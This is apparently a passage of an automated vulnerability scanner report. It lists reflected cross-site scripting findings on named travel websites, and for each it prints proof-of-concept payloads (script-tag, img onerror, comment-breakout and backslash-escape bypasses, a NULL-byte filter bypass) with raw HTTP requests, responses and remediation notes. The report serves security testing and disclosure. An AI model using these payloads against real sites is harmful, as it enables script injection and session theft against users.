This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f73c4<a>d21c8301381 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83d87"><script>alert(1)</script>fb97ed1345c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 9041d<a>d45b727a2a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f18ac"><script>alert(1)</script>101846b9346 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload bee01<a>388ea328403 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e99ac"><script>alert(1)</script>b1b021b465 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 51627<a>37eb8e17911 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b0d9"><a>47d39309e95 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a href="/home/home55bd4%22%3E%3Cscript%3Ealert(1)%3C/images/loadingAnimation.gif4b0d9"><a>47d39309e95"> ...[SNIP]...
4.375. http://www.sabretravelnetwork.com/home55bd4%22%3E%3Cscript%3Ealert(1)%3C/images/loadingAnimation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7968"><a>98157194752 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a href="/home/home55bd4%22%3E%3Cscript%3Ealert(1)%3C/images/loadingAnimation.gif?a7968"><a>98157194752=1"> ...[SNIP]...
4.376. http://www.sabretravelnetwork.com/home55bd4%22%3E%3Cscript%3Ealert(1)%3C/images/loadingAnimation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 5dae6<a>66c7f0639ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3942"><script>alert(1)</script>4c8141f84cf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2a892<a>4c5fb7d26fc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe8de"><script>alert(1)</script>2b275f81327 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 38a21<a>ff4ccfafe83 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4977"><script>alert(1)</script>d04db2b8ad1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 2f56c<a>259623de4a6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62f34"><script>alert(1)</script>288b2c2fbbd was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 5800b<a>6c1831f5800 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 767b3<a>1193ca6ed29 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87d0d"><a>7693b842da8 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a href="/home/home55bd4%22%3E%3Cscript%3Ealert(1)%3Cf18ac%22%3E%3Cscript%3Ealert(1)%3C/script%3E101846b9346/images/images/loadingAnimation.gif87d0d"><a>7693b842da8"> ...[SNIP]...
4.387. http://www.sabretravelnetwork.com/home55bd4%22%3E%3Cscript%3Ealert(1)%3Cf18ac%22%3E%3Cscript%3Ealert(1)%3C/script%3E101846b9346/images/images/loadingAnimation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b15cd"><a>deef725b16f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a href="/home/home55bd4%22%3E%3Cscript%3Ealert(1)%3Cf18ac%22%3E%3Cscript%3Ealert(1)%3C/script%3E101846b9346/images/images/loadingAnimation.gif?b15cd"><a>deef725b16f=1"> ...[SNIP]...
4.388. http://www.sabretravelnetwork.com/home55bd4%22%3E%3Cscript%3Ealert(1)%3Cf18ac%22%3E%3Cscript%3Ealert(1)%3C/script%3E101846b9346/images/images/loadingAnimation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload e0230<a>e4b2ad84e07 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 269d3<a>fe432cfa2bd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1f32"><script>alert(1)</script>8d4d416ae6e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c59c5<a>0764d9cc01e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 411b4"><script>alert(1)</script>5f460895727 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 3db33<a>cec1ced26c5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4601"><script>alert(1)</script>6817d4ebd37 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbc38"><script>alert(1)</script>2a0520a8fd3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 7abca<a>2fd76141046 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 21c9a<a>d19b30c4205 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e81ca"><a>0814390df40 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a href="/home/home83d87%22%3E%3Cscript%3Ealert(1)%3C/script%3Efb97ed1345c/search/images/loadingAnimation.gife81ca"><a>0814390df40"> ...[SNIP]...
4.399. http://www.sabretravelnetwork.com/home83d87%22%3E%3Cscript%3Ealert(1)%3C/script%3Efb97ed1345c/search/images/loadingAnimation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload e274c<a>0900278d132 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a>0900278d132=1">loadingAnimation.gif?e274c<a>0900278d132=1</a> ...[SNIP]...
4.400. http://www.sabretravelnetwork.com/home83d87%22%3E%3Cscript%3Ealert(1)%3C/script%3Efb97ed1345c/search/images/loadingAnimation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e26f8"><a>02159b53e67 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a570b"><a>4bb9c1a04b2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 77011<a>b692ba6deff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a>b692ba6deff">home-text.png77011<a>b692ba6deff</a> ...[SNIP]...
4.403. http://www.sabretravelnetwork.com/images/home-text.png [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sabretravelnetwork.com
Path:
/images/home-text.png
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload fc323<a>0d0d4ee86d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a>0d0d4ee86d0=1">home-text.png?fc323<a>0d0d4ee86d0=1</a> ...[SNIP]...
4.404. http://www.sabretravelnetwork.com/images/home-text.png [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sabretravelnetwork.com
Path:
/images/home-text.png
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a52a3"><a>eb7230ea2d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of the bid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7b668\"%3balert(1)//94fd85ec758 was submitted in the bid parameter. This input was echoed as 7b668\\";alert(1)//94fd85ec758 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
The value of the sid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a90a4\"%3balert(1)//3d9d3aaa825 was submitted in the sid parameter. This input was echoed as a90a4\\";alert(1)//3d9d3aaa825 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
The value of the bid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ada81\"%3balert(1)//21cebf7bc92 was submitted in the bid parameter. This input was echoed as ada81\\";alert(1)//21cebf7bc92 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /altcategory.jsp?actionType=1&categoryType=Destination&categoryName=&sid=S250&bid=B311497ada81\"%3balert(1)//21cebf7bc92 HTTP/1.1 Host: www.travel-ticker.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.trip.com/hotels.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Date: Mon, 03 Oct 2011 00:38:50 GMT Content-Length: 316092
The value of the categoryName request parameter is copied into the HTML document as plain text between tags. The payload aa60f<img%20src%3da%20onerror%3dalert(1)>bafc79ce56a was submitted in the categoryName parameter. This input was echoed as aa60f<img src=a onerror=alert(1)>bafc79ce56a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /altcategory.jsp?actionType=1&categoryType=Destination&categoryName=aa60f<img%20src%3da%20onerror%3dalert(1)>bafc79ce56a&sid=S250&bid=B311497 HTTP/1.1 Host: www.travel-ticker.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.trip.com/hotels.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the dest request parameter is copied into an HTML comment. The payload 97cd3--><script>alert(1)</script>303ba927549 was submitted in the dest parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:09:29 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 9556 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:09:29 2011 --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><!-- <logit>|~||DM||||~|</logit> -->
The value of the fromDate request parameter is copied into an HTML comment. The payload f4e6a--><script>alert(1)</script>36ba60a1a8 was submitted in the fromDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:09:09 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 9555 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:09:09 2011 --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><!-- <logit>|~||DM||||~|</logit> -->
The value of the fromMonth request parameter is copied into an HTML comment. The payload b5b8c--><script>alert(1)</script>708d11813dd was submitted in the fromMonth parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:10:02 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 9556 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:10:02 2011 --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><!-- <logit>|~||DM||||~|</logit> -->
The value of the fromYear request parameter is copied into an HTML comment. The payload a88ca--><script>alert(1)</script>b1769152bab was submitted in the fromYear parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:09:17 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 9556 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:09:17 2011 --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><!-- <logit>|~||DM||||~|</logit> -->
The value of the noOfAdults request parameter is copied into an HTML comment. The payload 3d5a4--><script>alert(1)</script>d556c19d909 was submitted in the noOfAdults parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:09:38 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 9556 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:09:38 2011 --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><!-- <logit>|~||DM||||~|</logit> -->
The value of the toDate request parameter is copied into an HTML comment. The payload d7b6d--><script>alert(1)</script>c27dd7fe78e was submitted in the toDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:09:17 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 9575 Connection: close Content-Type: text/html; charset=iso-8859-1
<!-- Vignette V6 Sun Oct 02 19:09:17 2011 --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><!-- <logit>|~||DM||||~|</logit> -->
